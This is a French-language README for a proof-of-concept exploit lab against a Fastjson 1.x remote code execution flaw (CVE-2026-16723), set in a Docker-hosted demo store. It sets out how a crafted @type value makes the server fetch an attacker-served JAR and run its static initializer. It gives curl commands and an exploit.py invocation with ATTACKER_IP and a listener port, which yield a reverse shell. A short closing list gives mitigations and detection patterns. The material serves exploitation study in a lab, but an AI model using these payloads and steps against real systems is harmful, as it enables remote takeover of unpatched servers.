
Exploit PoC pour Fastjson RCE (CVE-2026-16723) doté de la génération et de la livraison automatisées de charges utiles JAR via un JSON malveillant, contournant les restrictions AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 est une vulnérabilité d'exécution de code à distance (RCE) dans Fastjson 1.x (1.2.68 – 1.2.83). Lorsque Fastjson analyse un JSON contrôlé par l'attaquant, une valeur
@typecontrefaite est transformée en recherche de ressource de classe danscheckAutoType. Dans un fat-JAR exécutable Spring Boot, le chargeur de classe résout ce nom en tant qu'URLjar:http://et récupère un JAR distant (SSRF), puis charge une classe portant l'annotation@JSONTypemême si AutoType est désactivé. Étant donné qu'un JDK / Tomcat moderne rejette le nom binairejar:http://, la variante fiable place le JAR dans le cache de la JVM et le relit viajar:file:/proc/self/fd/N, de sorte que la classe est définie et que son initialiseur statique s'exécute, permettant l'exécution de code. AutoType reste désactivé et aucun gadget de classpath n'est requis.
| Catégorie | Version |
|---|---|
| Vulnérable | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| Corrigé | Migrer vers Fastjson 2.x (aucune version 1.x corrigée) |
La cible du laboratoire est une vitrine publique (Northwind Store) dont l'API de recherche lie
son corps de requête avec Fastjson. Tout est la configuration par défaut de Fastjson :
SafeMode désactivé, AutoType désactivé, empaqueté en fat-JAR Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Précondition | État dans ce laboratoire |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Fat-JAR exécutable Spring Boot | oui |
| Chemin d'analyse JSON non authentifié | POST /api/products/search |
| SafeMode / AutoType | par défaut (tous deux désactivés) |
L'attaquant et la cible s'exécutent sur le même réseau Docker bridge, donc la cible joint l'attaquant via une connexion sortante (aucun port supplémentaire n'est publié).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py construit le JAR de la charge utile, le sert, démarre un listener et affiche
le corps de la requête. Seule l'adresse de rappel est requise.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Collez le corps affiché dans l'endpoint de recherche (Burp Repeater ou curl) et
envoyez-le. La requête de recherche est une fonctionnalité normale ; seul son corps JSON est manipulé.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Le code s'exécute sous le compte de service. Récupérez le flag via le shell obtenu :
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type contenant des motifs jar:http ou jar:file / /proc/self/fd